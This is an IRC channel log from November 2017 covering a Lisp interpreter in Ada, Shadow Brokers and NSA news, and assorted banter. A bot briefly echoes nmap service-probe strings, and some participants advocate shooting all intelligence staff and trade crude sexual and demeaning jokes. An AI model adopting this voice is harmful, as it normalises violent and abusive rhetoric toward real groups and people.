18:05 asciilifeform and for that matter most of usa
18:05 asciilifeform at least written in terms of 'bang per buck'
18:06 asciilifeform and the parts of usa that it ~isn't~ two notches ahead of, asciilifeform will never live in
18:06 asciilifeform so it's still a winner.
18:07 spyked in other news, I've been using most of my spare cycles lisping in ada. should be able to wrap up a blog post sharing a very minimal prototype (sane implem. of repl doing nothing but basic ops) in a few weeks. what I've got now adheres to most of ffa constraints. the current version isn't very clean, but getting there...
18:07 asciilifeform spyked: nifty
18:07 asciilifeform tinyscheme-like item as discussed here ?
18:08 spyked yes. hopefully more than that in the long term (item to be manually translated to e.g. fpga implementation)
18:08 asciilifeform sounds like fun
18:08 asciilifeform http://btcbase.org/log/2017-11-12#1736759 << linked item is unpleasantly reminiscent of the 'artificially smoked' sprats that flooded the market in the early 2000s
18:08 a111 Logged on 2017-11-12 20:22 pete_dushenski: and in other shortcuts, https://phys.org/news/2017-11-year-malt-whisky-weeks-chemistry.html
18:09 asciilifeform spyked: my original notion was, sane ecosystem is direly short of a simple scripting lang
18:10 asciilifeform ( i'd quite like to perma-anathemize python,perl,all the multi-GB-pots-of-liquishit )
18:10 asciilifeform and get something in which one might write things like http://www.loper-os.org/?p=1762
18:11 asciilifeform but that ~itself~ weighs very little
18:11 asciilifeform and is 'correct-by-obviousness'
18:11 spyked I'm also keeping the idea of potentially embedding in other ada projects (e.g. adacoin?) in mind. but so far wrestling the ffa aspects were enough of a challenge. oh, and there's no gc yet, the thing leaks memory like hell. but that's not its biggest problem.
18:12 spyked at least once it goes out of memory it will scream, unlike tinyscheme buffer overflows.
18:12 asciilifeform i'm not fully convinced that a scripting lang ~needs~ a gc
18:13 asciilifeform ( if your script runs for long enough that it needs gc -- maybe it oughta instead be an actual proggy ? )
18:13 spyked ^ and if it does, should be easy to plug it in.
18:14 asciilifeform on sane iron, gc really oughta be part of the iron. but that's whole other thread.
18:14 asciilifeform spyked: consider posting your draft ( as asciilifeform posts his drafts occasionally )
18:14 asciilifeform i'd much like to try it
18:15 spyked right now the thing does a whole lot of consing (e.g. even when parsing), to avoid using ada run-time. but yeah, not posted, I'm talking about ~non-existing item.
18:15 asciilifeform spyked: ideally you tell it on commandlinearg how much memory the script shot gets. and if it tries to cons 1 time too many, that's a eggog
18:15 asciilifeform ( this is how 'p' works, as you will see in near future )
18:16 asciilifeform spyked: it's ok to post it 1 routine at a time ( as i do with ffa )
18:16 spyked asciilifeform, I considered doing that, but it's big enough (spread across 3-4 compilation units) that I'll need to wrap in blog post and do some preliminary documentation work
18:16 asciilifeform fair'nuff
18:17 spyked single routine is probably boring (I expect asciilifeform knows better than me how S-expr parsing works)
18:18 spyked though there's devil hiding in those details
18:18 asciilifeform parsing sanely (i.e. with meaningful eggog-recoveries) is tricky business
18:19 spyked e.g. ada I/O is not especially suited for this task, because it reads either characters or full lines; and reading characters doesn't eat newlines, so gotta rely on shell buffering for sane interaction.
18:20 asciilifeform your proggy should never try to eat or shit more than 1 char at a shot
18:20 asciilifeform i.e. it should be compatible with 'no os' ( bare iron ) microcontroller and such
18:20 asciilifeform ideally.
18:20 asciilifeform a newline is just another octet.
18:22 spyked on Get(Char), ada (at least gnat) seems to consume everything but linefeeds (even control characters such as EOT)
18:22 asciilifeform the less use is made of ada standard libs, the moar likely the thing is to survive transition to whatever ada-with-maximal-dross-jettisonned that we eventually end up with.
18:22 * spyked will keep this in mind
18:22 asciilifeform spyked: i'ma post 'p' i/o routines, 1s
18:23 asciilifeform from current draft :
18:23 asciilifeform os.ads : http://wotpaste.cascadianhacker.com/pastes/SRKeb/?raw=true
18:23 asciilifeform os.adb : http://wotpaste.cascadianhacker.com/pastes/C7D2r/?raw=true
18:24 asciilifeform and yes we import the c char routines. but these can be replaced on bare iron with reads/writes of uart, trivially. or anything else we want.
18:24 spyked asciilifeform, ty! I will study and put to use.
18:24 asciilifeform the posted unit is the entirety of the machine-dependent part of 'p'.
18:25 asciilifeform and for that matter of the ada std lib - using part ( once the debuggery put_line's in ffa are done away with )
18:28 * spyked figures out he has a lot of work to do. but this -- after current code receives proper drilling from other interested people.
18:32 asciilifeform meanwhile, in other volkischer beobachter lulz, https://archive.is/NS8Mr >> 'Mr. Williams had written on his company blog about the Shadow Brokers... Now the group had replied in an angry screed on Twitter. It identified him — correctly — as a former member of the National Security Agency’s hacking group, Tailored Access Operations, or T.A.O., a job he had not publicly disclosed. Then the Shadow Brokers astonished him by droppi
18:32 asciilifeform ng technical details that made clear they knew about highly classified hacking operations that he had conducted'
18:32 mircea_popescu o hay there
18:33 mircea_popescu asciilifeform u is perfect fit for roboticized mining. very little by-hand mining done anymore anyway, but uranium mining led teh trade
18:34 mircea_popescu re library, time was 2week for general fund, and 1week for some specialized, and 1 day for particular stuff ; going down from there, was stuff you could only have 1hr at a time and waiting list >1month long.
18:34 asciilifeform 'N.S.A. employees have been subjected to polygraphs and suspended from their jobs in a hunt for turncoats allied with the Shadow Brokers. Much of the agency’s cyberarsenal is still being replaced, curtailing operations' << gold
18:34 mircea_popescu all sorts of collections at bbu, incl 1600s printed matter.
18:34 mircea_popescu aww
18:34 asciilifeform get'em, get'em wreckerz!11!
18:35 mircea_popescu hey. this situatuion where usg is more transparent than fresh piss is not tenable. either it abolishes itself or fixes it
18:35 mircea_popescu but as things are now it's nothing short of ridiculous.
18:36 asciilifeform hey, while brick has wings
18:36 mats p transparent after OPM leak...
18:37 mircea_popescu a how's tricks mats
18:37 mats snore
18:38 mircea_popescu aww
18:39 mircea_popescu does an ada lisp ~even exist~ as far as anyone knows ?
18:40 asciilifeform mircea_popescu: spyked seems to have answered asciilifeform's thrown gauntlet and writing one
18:40 asciilifeform outside of this -- none published
18:40 mircea_popescu this could turn out into a pretty big deal.
18:40 asciilifeform ( though the bolix shipped with the opposite, an adatron in zetalisp )
18:41 mircea_popescu http://btcbase.org/log/2017-11-12#1736845 << this actually might be the perfect definition of the terms. "a program that doesn't need garbage collection is called a script ; a script that needs garbage collection is called a program".
18:41 a111 Logged on 2017-11-12 23:13 asciilifeform: ( if your script runs for long enough that it needs gc -- maybe it oughta instead be an actual proggy ? )
18:42 asciilifeform nao for the money shot from the lul, 'But he says no one from the N.S.A. has contacted him about being singled out publicly by the Shadow Brokers. “That feels like a betrayal,” he said. “I was targeted by the Shadow Brokers because of that work. I do not feel the government has my back.”'
18:42 mircea_popescu simple and sweet and i actually can't see what possible protestations are available.
18:42 spyked ohai mircea_popescu!
18:43 mircea_popescu spyked how far advanced is this thing ?
18:43 mats rebuilding massive intel apparatus after OPM-sized breaks is an unenviable task
18:43 asciilifeform 'Some T.A.O. employees have been asked to turn over their passports, take time off their jobs and submit to questioning'
18:44 mats what can you even do? fire every remotely interesting guy and bus in tufts/harvard grads?
18:44 spyked mircea_popescu, so far, basic disconnected pieces: lispm cell representation, parser, evaler, implementation of +.
18:44 mircea_popescu mats much better task than trying to "reform" mediocre intel.
18:44 mircea_popescu here you just shoot everyone.
18:44 spyked need to connect them together and publish
18:44 mircea_popescu spyked pretty exciting.
18:44 asciilifeform mats: as it is, the ~marketable half of the iq bell curve, already resigned and went into 'contracts'
18:45 mircea_popescu mats there's no such thing as "fire" in this line. you, literally, shoot them. all.
18:45 spyked (and by publish I mean "item that is in sore need of a review")
18:45 mats mircea_popescu: not in america they don't.
18:45 mircea_popescu then not in america they don't have intel.
18:45 asciilifeform ^
18:45 mircea_popescu problem solved. /me submits his bill and goes back to yachting.
18:46 asciilifeform lolhey mircea_popescu back to sea again ??
18:46 mircea_popescu asciilifeform on and off. i nearly got sun poisoning coupla days ago!
18:46 mircea_popescu the weather is so fucking perfect and the sun so pleasant you just dun realise it. slowroast, no burn but TOO MUCH D VITAMIN OMG
18:46 asciilifeform oh hah yer in range of usa's deozonation or whatever cone again aintcha.
18:47 mircea_popescu notrly, i dun think
18:47 * asciilifeform recalls c3 and ~week spent in the sun, and 0 burn
18:47 asciilifeform over here i get 20min and then begin to cook, even carry a dosimeter thing
18:47 mircea_popescu im not burned at all either.
18:48 mircea_popescu maybe this isn't how you call this in english.
18:49 * mats speculates next five-year plan includes thiel-ization of intel apparatus - booz allens and stratfors
18:49 mircea_popescu there's this condition, entirely metabolic, not dermatologic, resulting from overexposure (as in 6 hours) to sun.
18:49 asciilifeform '“Snowden killed morale,” another T.A.O. analyst said. “But at least we knew who he was. Now you have a situation where the agency is questioning people who have been 100 percent mission-oriented, telling them they’re liars.”'
18:49 mircea_popescu mostly D vitamin overload (nausea, lack of appetite, that sorta thing)
18:49 spyked ah! mircea_popescu (and possibly other folks interested in ro-en translations)! almost forgot: http://p.bvulpes.com/pastes/86l91/?raw=true <-- to drill. need to make 1-2 passes through it before sending to silviu gherman d00d. (been also watching his stuff, guy has grown on me!)
18:49 asciilifeform mircea_popescu: interesting, i had nfi this was a thing
18:49 asciilifeform possibly because i'd turn black long before changing vitamind overload
18:50 mircea_popescu it is. you get it in like, greek islands. sun too nice to burn but you do too much of it as a non-local
18:51 mircea_popescu asciilifeform not just d vitamin, either. but basically what happens is sun-driven metabolism overwhelms liver, products build up. solution is "not be such a noob", stuff fixes itself but after some practicve.
18:52 asciilifeform i have not yet had the pleasure of this disease. just as i have not yet suffered what the chukchas get from walrus-only diet in lean months etc
18:52 mircea_popescu spyked not bad. last line english ?>
18:53 mircea_popescu mats i'd rather bet next 5 years includes giving up on intel as given up on army, rely on foreign intel orgs.
18:54 mircea_popescu moved industry to china, moved army to afghanistanis, pakistanis, whoever else could be arsed, move intel to israel next and so on.
18:54 asciilifeform mircea_popescu: usg long ago gave up on intel in the traditional sense . e.g. nsa 'restaurant menu' consists ~100% of vulns they themselves created.
18:54 asciilifeform ditto signals gathering
18:54 mircea_popescu they indianselves created.
18:55 mircea_popescu spyked do you have an agreement in principle with the guy or anything though ?
19:00 spyked mircea_popescu, last line? also, no, haven't spoken to him. my idea was to just post this on blog and then ask him if he's willing to translate (refer log and so on). could also do it the other way around, not sure.
19:00 mircea_popescu in your paste, last line, "These would be, dear local investors, a few specific"
19:01 mircea_popescu and your idea is not good. first you talk to him in principle, then you do the script, then etc. cinema has a flow!
19:02 * spyked still doesn't get first question.
19:03 mircea_popescu spyked the romanian you pasted contains an english-language last line.
19:03 spyked not only the last line.
19:03 mircea_popescu oh it's dual. sorry, misread
19:04 spyked anyway. I was going to give the translation a shot either way, to work out translation muscle.
19:05 mircea_popescu a
19:06 spyked but will drop teleschpenker a line and ask him if he's interested. (also, his rates, if any. from my pov the text is public and so on, I'm not exactly in the translation profession)
19:06 mircea_popescu bwahahaha "The agency regarded as the world’s leader in breaking into adversaries’ computer networks failed to protect its own." what, is this from "the fake news site regarded (by itself) as the most influential item in the world, above even trilema, and staffed with people from the premiere (according to themselves) institution in the world" ?
19:06 asciilifeform linked item looks rather familiar -- ancient usenet meme
19:07 mircea_popescu next they're going to win the world series, these people.
19:07 asciilifeform ( the cows thing )
19:07 mircea_popescu asciilifeform can dig it up ?
19:07 asciilifeform could if dejanews were not nuked...
19:07 mircea_popescu i alwsays suspected that was an original english (or french) item stoletranslated to ro as the practice was at the time
19:07 mircea_popescu but never found original.
19:07 asciilifeform could easily originated from ro
19:08 asciilifeform (or any of the ancient fidonet countries)
19:08 mircea_popescu could, but i was unspecifically suspicious when first saw in 90s
19:08 mircea_popescu right.
19:09 spyked ftr, I got the idea starting from elaineo's thing (via http://btcbase.org/log/2017-10-01#1719047 )
19:09 a111 Logged on 2017-10-01 04:06 mircea_popescu: "If pet food companies used the same business model as startups: Jim creates a dog food factory and gives away dog food for free. 450 million dogs line up for free dog food. Purina Dog Chow understands that non-paying dog food consumers are currency, and buys Jim’s factory for $42 per dog." << in other historical elaineo lulz.
19:10 mircea_popescu a cool
19:10 mircea_popescu !~seen elaineo
19:10 jhvh1 mircea_popescu: elaineo was last seen in #trilema 6 weeks, 0 days, 19 hours, 29 minutes, and 26 seconds ago: <elaineo> i do not
19:10 mircea_popescu i... wonder what she's up to.
19:10 mircea_popescu apparently this magic wand works so why noit shake it s`more :D
19:13 mircea_popescu meanwhile @ bed, bath & beyond, http://78.media.tumblr.com/9521cb92ecba1e8f4d6b866538baba4e/tumblr_nk8isoTok81tmr1tpo1_400.gif
19:14 hanbot spyked i lolled; also "use the remaining to produce milk for four cows." might be better stated as "use the remaining to produce four cows' worth of milk." or similar
19:16 hanbot also Goodbye or Good Afternoon might work better on the Bye of the British, somehow the shortening sounds yankee
19:16 asciilifeform oh hey it came back from the archives , mircea_popescu :
19:16 mircea_popescu o!
19:17 asciilifeform http://wotpaste.cascadianhacker.com/pastes/WXnXx/?raw=true
19:17 mircea_popescu when is this dated ?
19:17 asciilifeform my copy is aug of '91
19:18 asciilifeform so no later.
19:18 mircea_popescu this qualifies
19:18 mircea_popescu it'd appear then it was a seedling that grew up in the manner of folk productions
19:19 asciilifeform aha, likely
19:19 asciilifeform 'homeric'
19:19 mircea_popescu iirc it was 1993 in ro
19:21 mircea_popescu T.A.O. operators must constantly renew their arsenal to stay abreast of changing software and hardware, examining every Windows update and new iPhone for vulnerabilities. “The nature of the business is to move with the technology,” a former T.A.O. hacker said.
19:21 mircea_popescu if only ants could speak they'd be no less entertaining.
19:23 asciilifeform http://btcbase.org/log/2017-11-13#1736975 << iirc mircea_popescu had a rhyme where 'a nagant's good to eat, dun ask why, bye'
19:23 a111 Logged on 2017-11-13 00:16 hanbot: also Goodbye or Good Afternoon might work better on the Bye of the British, somehow the shortening sounds yankee
19:24 mircea_popescu "For decades after its creation in 1952, the N.S.A. — No Such Agency, in the old joke —" << check it out alf, teh times is retconning it into "an old joke"
19:24 mircea_popescu how fucking old is it, 2015 ?
19:24 asciilifeform eisenhower
19:24 asciilifeform believe or not.
19:24 mircea_popescu i missed all that.
19:24 spyked http://btcbase.org/log/2017-11-13#1736972 <-- I did follow in read-only mode. (and unfortunately suspecting that I will continue to do so until upcoming vacation, when I can start doing ~actual productive work) the principle being, I either read daily, or logs pile up and I fall continuously out of sync. (almost happened last weekend!)
19:24 a111 Logged on 2017-11-13 00:10 mircea_popescu: apparently this magic wand works so why noit shake it s`more :D
19:25 asciilifeform ( was a somewhat different animal before pc comp . split b/w actual signal-gathering , bug-plantin', supplying idjit hagelin crypto boxen to ~every major country, etc )
19:25 mircea_popescu spyked lotta people have that same sufferance.
19:25 spyked http://btcbase.org/log/2017-11-13#1736974 <-- oh, thanks! :D /me makes changes
19:25 a111 Logged on 2017-11-13 00:14 hanbot: spyked i lolled; also "use the remaining to produce milk for four cows." might be better stated as "use the remaining to produce four cows' worth of milk." or similar
19:26 asciilifeform iirc nsa was first publicly proclaimed by usg when marvin&mitchell escaped.
19:26 asciilifeform err, martin & mitchell.
19:26 asciilifeform 1960.
19:27 mircea_popescu but i mean the "no such" specifically.
19:27 hanbot asciilifeform from http://trilema.com/2017/the-world-has-changed/ : "A Nagant's always good to keep nearby, don't wonder why. Bye." no britishness detectored
19:27 asciilifeform ( was blamed, hilariously , on buggery. e.g. https://archive.is/P6A3B )
19:27 mircea_popescu i recall that part.
19:28 asciilifeform hanbot: ah yea that was it
19:29 spyked speaking of which, that last "bye" is also part of the orig. thing (i.e. http://btcbase.org/log/2017-10-08#1722535 ). hopefully whoever does this also studies the original thing, the acting makes about half of it.
19:29 a111 Logged on 2017-10-08 12:23 spyked: http://www.220.ro/umor-romanesc/Horatiu-Malaele-2-Vaci/nUSRHOCJEP/ <-- ro. only, unfortunately; also buried under piles of shitads, but I salvaged the videofile.
19:30 asciilifeform 'The NSA immediately began searching for other sexual deviants in its ranks, eventually purging 26 employees suspected of being security risks because of their alleged "perversions."' prettygreat.
19:32 mircea_popescu reasoning by simile, the priviledge of dying empires.
19:33 asciilifeform '"Were they living today," quips author Bamford, "[they] would probably defect all over again."' (2007)
19:33 asciilifeform ( bamford is the original -- and for some decades the only -- 'nsa biographer' )
19:35 mircea_popescu in other lulz : 19BY2XCgbDe6WtTVbTyzM9eR3LYr6VitWK, the btc address printed on some "shadow brokers blog", got almost enough money for a small boat.
19:35 mircea_popescu if only they had the sense to be in the pizzeria line a few years ago!
19:35 asciilifeform very small boat
19:37 mircea_popescu https://archive.is/zNqEo << potential payout $19.81 (in 6 days). but unlike the http://btcbase.org/log/2017-11-12#1736478 "steemit" has a "whitepaper". and besides, the new york times doesn't pretend it doesn't exist.
19:37 a111 Logged on 2017-11-12 16:12 mircea_popescu: !!withdraw 0.02 1GrvBXDT2XTnQ83yCsTZmqVtnZto223DkB
19:38 asciilifeform dafuq's that
19:39 asciilifeform ah it's the spamreddit with pay-per-click nonsense innit.
19:39 mircea_popescu asciilifeform i dunno, some random dorks "reinventing" some web or the other.
19:39 mircea_popescu EXCEPT THIS TIME ITS DIFFERENT
19:41 mircea_popescu just... the http://trilema.com/2014/namecheap-goes-off-the-deep-end-anyone-know-a-decent-domain-registrar/#selection-283.0-299.347 has to be underscored a little. so programming student made on the basis of market application over 20 minutes SIX TIMES what the shadow brokers made by posting for the general web public.
19:41 mircea_popescu sooner or later it gotta get through teh skulls that no, there's no "power in the multitudes".
19:42 asciilifeform waitasec someone answered that one and made a sane registrar ?!
19:42 asciilifeform or which programmingstudent
19:42 mircea_popescu namesilo.com
19:42 mircea_popescu quite satisfied
19:43 mircea_popescu asciilifeform http://btcbase.org/log/2017-11-12#1736465 << this one
19:43 a111 Logged on 2017-11-12 15:57 wer: https://imgur.com/a/cU6e7
19:43 asciilifeform aaa you means specifically 'per 20 min' lol
19:43 mircea_popescu no.
19:43 mircea_popescu the shadow brokers wrote a post, with the shit they did. made them... 19.81
19:43 mircea_popescu chick wrote on her tits. made her...
19:44 asciilifeform 19.81 > 0.02
19:44 asciilifeform and them titz are spent neh
19:44 mircea_popescu !~ticker --market all
19:44 jhvh1 mircea_popescu: Bitstamp BTCUSD last: 5977.49, vol: 37755.02977619 | Bitfinex BTCUSD last: 5919.8, vol: 174730.02151193 | Kraken BTCUSD last: 5900.0, vol: 14520.3837052 | Volume-weighted last average: 5928.12836478
19:44 mircea_popescu !~calc 0.02 * 5928.12836478
19:44 jhvh1 mircea_popescu: 0.02 * 5928.12836478 = 118.5625672956
19:44 mircea_popescu 118.56 > 19.81.
19:45 asciilifeform aaaaa i misread the units
19:45 asciilifeform 19.81 heathencoins wasnnit.
19:45 mircea_popescu yeah
19:45 asciilifeform tho wasn't there a 10btc earlier
19:45 mircea_popescu that was for the lifetime\
19:45 mircea_popescu dudes been working since what, april 2016 ?
19:46 mircea_popescu conceivably SOME of that came other than "because we published in today's mp-wp clone-wannabe"
19:46 mircea_popescu (funny shit, too, wasn't "medium" gonna be IT last year ? now "steemit" ? next month "wegiveup", the "platform for america" ?)
19:47 asciilifeform they ought try a... say... fuckpigs.com
19:47 mircea_popescu too much work, fucking.
19:47 asciilifeform something that dun scream 'georgetown dc synthetic wine'
19:47 mircea_popescu stare-blank.ly, maybe. it's clever, like.
19:48 asciilifeform justshoot.me
19:49 mircea_popescu o hey!
19:49 mircea_popescu see, cuz then it could be cleverly JSM
19:49 asciilifeform something, anything, with moar imagination than the gods gave a gnat
19:49 asciilifeform jsm?
19:49 asciilifeform jew-supervised masonry?
19:50 asciilifeform japanese sado-masochism?
19:50 mircea_popescu jsm. could come with a handy "pronounciation guide", which the sort of tard outfits listing "evanghelist" and "at large" on their "Careers" page always include in their god-awful "phonetic" pigdin i mean peeg-deen
19:50 mircea_popescu !~google jism
19:50 jhvh1 mircea_popescu: Jism (2003 film) - Wikipedia: <https://en.wikipedia.org/wiki/Jism_(2003_film)>; Jism - Wikipedia: <https://en.wikipedia.org/wiki/Jism>; Urban Dictionary: jism: <https://www.urbandictionary.com/define.php%3Fterm%3Djism>
19:50 asciilifeform jism - different matter, lel
19:50 mircea_popescu HOMOPHOBIC!
19:50 mircea_popescu i mean... HOMOPHONIC
19:51 jhvh1 GET / HTTP/1.0
19:51 mircea_popescu b, n right next to each other. geddit ? it's ANOTHER joke. wrapped in a poon.
19:51 jhvh1 OPTIONS / HTTP/1.0
19:51 jhvh1 OPTIONS / RTSP/1.0
19:51 asciilifeform lolwaaat
19:51 jhvh1 HELP
19:51 jhvh1 GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
19:51 jhvh1 default
19:51 jhvh1 OPTIONS sip:nm SIP/2.0
19:51 asciilifeform ahem
19:51 mircea_popescu this is prettygood...
19:51 mircea_popescu shinohai yo!
19:51 ben_vulpes lol well ratelimiting appears to work
19:52 asciilifeform !~google GET /nice%20ports%2C/Tri%6Eity.txt%2ebak
19:52 jhvh1 asciilifeform: Re: More Service Detection notes: HTTP, FTP, DNS, etc: <http://seclists.org/nmap-dev/2006/q2/207>; AppleTV & nmap -sV - Black Hills Information Security: <https://www.blackhillsinfosec.com/appletv-nmap-sv/>; linux - Rsyslogd Log entry about attack created by unknown ...: <https://superuser.com/questions/1091351/rsyslogd-log-entry-about-attack-created-by-unknown-application>
19:52 asciilifeform ahahahahaha
19:52 mircea_popescu is this the bot being vulnerabilized ?
19:52 mats http://btcbase.org/log/2017-08-31#1707146 << lolno, combat lifesaver training doesn't even do iv bag insertion anymore
19:52 a111 Logged on 2017-08-31 03:12 asciilifeform: hey mats did usg schutzstaffel corps teachya to set legs ?
19:52 asciilifeform mats: what do they teach ? how to humanely shoot ?
19:52 mats too many recruits fucking it up and getting people recycled to start
19:52 mircea_popescu mats cuz nobody wounded anymore, all work ~= adult diaper changes ?
19:52 shinohai o hai mats
19:52 mats also don't train to fight with bayonet anymore either
19:53 asciilifeform nowai
19:53 asciilifeform what are you expected to fight with if 0 ammo ?
19:53 mats literally never seen one in a supply cage in my entire service
19:53 asciilifeform ( can't well fight with the plastic toy stock )
19:53 mircea_popescu http://btcbase.org/log/2016-08-17#1523354
19:53 a111 Logged on 2016-08-17 18:07 mircea_popescu: "bring my my brown pants"
19:53 mats buttstock p good at knocking a fucker out actually
19:53 mats i passed out after getting hit in formation the one time
19:53 asciilifeform do they have an aftermarket iron butt end or wat
19:53 mircea_popescu what if the fucker isn't in formation tho
19:54 * mircea_popescu seems to recall this is the problem the original english also encountered. "these colonists dun understand how fighting wars works!!"
19:54 mats dunno what its made of.
19:55 mircea_popescu asciilifeform honestly, i believe there's 0 expectation on the part of us army that anyone under that flag will ever fight again. "you wanna shoot, join the police wtf! army is for "assisting local combatants"
19:56 asciilifeform shinohai et al : http://seclists.org/nmap-dev/2006/q2/207
19:56 asciilifeform ( i suspect you have open ports )
19:57 asciilifeform as in, the 8000 or whatever that you apparently use to talk to the 'talker' , is unwittingly externally routed.
19:57 jhvh1 GET / HTTP/1.0
19:57 shinohai ty asciilifeform
19:57 asciilifeform scan yer own box, shinohai , and see which.
19:58 asciilifeform ( this is a good habit for everyday life, when standing up a box , i will note )
19:58 mats i've heard a number of stories with folks using pointy end of empty rifle to strike dwelling inhabitants during breach&clear, jokesters bringing hatchets, axes, machetes for MOUT, etc
19:59 mats tomahawks are a perennial favorite
20:01 mats https://www.adventuresurvivalequipment.com/vtac-lagana-tactical-tomahawk.html has an NSN for ez purchasing
20:02 asciilifeform lol $ 120 axe
20:02 asciilifeform with plastic shaft
20:02 mats military-grade!
20:02 mircea_popescu nuts
20:02 asciilifeform living stereotype
20:03 asciilifeform on top of this, 'out of stock !'
20:03 mircea_popescu how come everything these people do is wankery "with a nsn"
20:03 asciilifeform mircea_popescu: if it has no 'supply code' , 10x the paperwork to buy
20:03 mircea_popescu i think this is my point.
20:04 asciilifeform ( incl. people. e.g. http://btcbase.org/log/2017-01-27#1608864 )
20:04 a111 Logged on 2017-01-27 23:36 asciilifeform: (i was once, and i shit thee not, 'research chemist'. not because knew any chemistry, but because there was -- i shit thee not -- no box to 'tick' in the form, for 'programmer')
20:11 asciilifeform upstack lulz, https://justshoot.me >> 'MICHAEL LEWIS GLOVER | FINE ART PHOTOGRAPHY'
~ 1 hours 13 minutes ~
21:25 * BingoBoingo back from ferrying a little miss trainwreck around.
21:25 BingoBoingo !~step12
21:25 jhvh1 12. Having had a spiritual awakening as the result of these steps, we tried to carry this message to alcoholics, and to practice these principles in all our affairs.
21:26 asciilifeform say moar, BingoBoingo
21:32 BingoBoingo asciilifeform: I've been ferrying a miss trainwreck around as favor to her sponsor. Very entertaining ordeal.
21:38 mircea_popescu whoa earthquake
21:39 mircea_popescu big enough to drop pots off shelves and shit
21:39 mircea_popescu whoa. 7.0 in jaco!
21:39 BingoBoingo Cool
21:40 BingoBoingo asciilifeform: What more is there to say, Spent good chunk of the day learning from the weapon of mass destruction in my passenger seat.
~ 1 hours 39 minutes ~
23:20 BingoBoingo In other mine chaff: "What the fuck… that is the most messed up thing I ever read. I am not European just because I have white skin, you sicko. I do not relate to the experiences of white people, why would I identify with them? You probably have an inferiority complex and feel the need to pretend you’re white because you hate yourself."
23:35 BingoBoingo And in Returning Kink Studies http://www.returnofkings.com/132612/why-i-ate-my-pet-pig-and-you-should-too
23:36 BingoBoingo "Instead of fetching your slippers they’ll shit on them without remorse, as if keenly aware that ruining your property would be insulting to you. Instead of sleeping next to you, ready, and waiting in guard position, they will find a comfy spot squarely on your forehead, burrow down and screech to high heaven if you motion to remove them. Rinse and repeat they will, despite many deserved beatings. Brats."
23:46 mats in more excerpts, https://forums.tesla.com/en_AU/node/89647
23:46 mats "And we are pushing robots to the limit in terms of the speed that they can operate at, and asking our suppliers to make robots go way faster, and they are shocked because nobody has ever asked them that question. It's like if you can see the robot move, it's too slow. We should be caring about air friction like things moving so fast. You should need a strobe light to see it. And that's incredibly critical to CapEx
23:46 mats efficiency."
23:47 mats wat.
23:47 mats (elon musk)
23:50 BingoBoingo I thought needing a strobe light to see was something young boys learned escaping Kevin Spacey's basement
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